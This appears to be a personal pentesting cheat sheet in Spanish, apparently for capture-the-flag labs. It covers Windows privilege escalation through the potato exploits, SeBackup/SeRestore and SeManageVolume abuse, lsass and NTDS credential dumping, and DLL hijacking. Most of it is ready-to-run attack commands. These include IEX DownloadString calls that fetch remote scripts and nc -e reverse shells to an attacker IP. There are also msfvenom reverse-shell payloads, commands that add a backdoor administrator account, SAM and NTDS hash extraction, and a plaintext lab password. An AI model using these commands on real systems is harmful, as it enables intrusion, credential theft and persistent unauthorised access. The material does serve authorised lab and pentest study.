Windows

#privesc #windows #seimpersonateprivilege #SeManageVolumePrivilege #sebackupprivilege #serestoreprivilege

whoami /all
IEX(New-Object Net.WebClient).downloadString('http://IP:PORT/winPEAS.ps1')

exploit suggester

use post/multi/recon/local_exploit_suggester

set SESSION x
run

Credenciales en caché

Necesitamos una sesión interactiva y un perfil de usuario, no un login de red (evil-winrm)
🔗 https://bitvise.com/wug-logontype

Invoke-RunasCs -Username C.Neri -password Zer0the0ne -Domain vintage.htb -Command powershell.exe -Remote 10.10.15:3 -ForceProfile
cmdkey /list

[+]Dumpear DPAPI creds

tasklist

Puertos en escucha

netstat -ano | FindStr /I "LISTENING"

Que usuario ejecuta ese puerto

tasklist /FI "PID eq 5540" /V

Si tira permission denied, probablemente sea SYSTEM o Administrator


C:\inetpub
C:\xampp\htdocs

Ver permisos sobre una carpeta:

icacls htdocs

LibreOffice

C:\Program Files\LibreOffice\program> type version.ini

CVE-2023-2255

Leer Historial

Get-Content "$env:APPDATA\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt"
type C:\Users\USER\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt

SeImpersonatePrivilege

GitHub - BeichenDream/GodPotato

.\gp.exe -cmd "nc64.exe -e cmd.exe IP ATACANTE PUERTO"

O crear un nuevo usuario admin

net user m0b Password123! /add
net localgroup Administrators m0b /add
net localgroup "Remote Management Users" m0b /add

Si no va así probaremos con JuicyPotato (versión de 32 o 64 bits):

powershell -c Invoke-WebRequest -Uri "http://IP:PORT/nc.exe" -OutFile nc.exe
powershell -c Invoke-WebRequest -Uri "http://IP:PORT/JuicyPotato.exe" -OutFile JuicyPotato.exe
powershell -c Invoke-WebRequest -Uri "http://IP:PORT/rshell.bat" -OutFile rshell.bat

rshell.bat

C:\Users\kohsuke\AppData\Local\Temp\pentesting\nc.exe -e powershell.exe IP PORT
sudo rlwrap -cAr nc -lvnp PORT
./jp.exe -p ./rshell.bat -l 3333 -t * -c "{e60687f7-01a1-40aa-86ac-db1cbf673334}"

Usar otro CLSID según versión de Windows

juicy-potato/CLSID at master · ohpe/juicy-potato · GitHub

Probar con shell de msfvenom (32 o 64 bits)

msfvenom -a x86 -p windows/shell_reverse_tcp LHOST=IP LPORT=PORT -f exe -o revShell.exe

PowerUp

Set-ExecutionPolicy Bypass -Scope Process -Force
upload /ruta .
Import-Module .\PowerUp.ps1
. .\PowerUp.ps1

||

IEX (New-Object Net.WebClient).DownloadString('http://IP:PORT/PowerUp.ps1')

Invoke-AllChecks

Abrir archivo lsass.DMP

pip install pypykatz
pypykatz lsa minidump lsass.dmp

SeBackup/SeRestore Privilege

reg save hklm\system C:\Users\svc_backup\AppData\Local\Temp\pentest\system.hive
reg save hklm\sam C:\Users\svc_backup\AppData\Local\Temp\pentest\sam.hive
impacket-secretsdump -sam sam.hive -system system.hive LOCAL

Windows Privilege Escalation: SeBackupPrivilege - Hacking Articles

raj.dsh

set context persistent nowriters
add volume c: alias raj
create
expose %raj% z:
unix2dos raj.dsh
upload raj.dsh
cd $env:TEMP
upload raj.dsh
diskshadow /s raj.dsh
robocopy /b z:\windows\ntds . ntds.dit
impacket-secretsdump -ntds ntds.dit -system system local

SeManageVolume Privilege

wget https://github.com/CsEnox/SeManageVolumeExploit/releases/download/public/SeManageVolumeExploit.exe
.\SeManageVolumeExploit.exe
msfvenom -p windows/x64/shell_reverse_tcp LHOST=IP LPORT=PORT -f dll -o tzres.dll
cd C:\Windows\system32\wbem
certutil.exe -urlcache -split -f http://IP/tzres.dll
rlwrap -cAr nc -lvnp PORT
systeminfo

DLL Hijacking

Pasted image 20260613133825.png

Directorio de la app -> Donde está el exe
CWD -> Directorio desde el que se lanza el exe

Preguntas

Get-ItemPropertyValue -Path 'HKLM:\System\CurrentControlSet\Control\Session Manager\Environment' -Name 'Path'
# 1. Definir el usuario
$Nombre = "JAYLEE.CLIFTON"

# 2. Obtener su SID
$SID = (New-Object System.Security.Principal.NTAccount($Nombre)).Translate([System.Security.Principal.SecurityIdentifier]).Value
Write-Host "[+] El SID de $Nombre es: $SID" -ForegroundColor Cyan

# 3. Consultar su PATH personal
try {
    $UserPath = Get-ItemPropertyValue -Path "Registry::HKEY_USERS\$SID\Environment" -Name "Path" -ErrorAction Stop
    Write-Host "[+] El PATH personal del usuario es: $UserPath" -ForegroundColor Green
} catch {
    Write-Host "[-] El usuario no tiene un PATH personalizado o su perfil de registro no está cargado." -ForegroundColor Yellow
}

🔗 https://hacktricks.wiki/en/windows-hardening/windows-local-privilege-escalation/dll-hijacking/index.html#finding-missing-dlls

🔗 https://learn.microsoft.com/en-us/sysinternals/downloads/procmon

Pasted image 20260723205549.png

Pasted image 20260723210232.png

Pasted image 20260723210949.png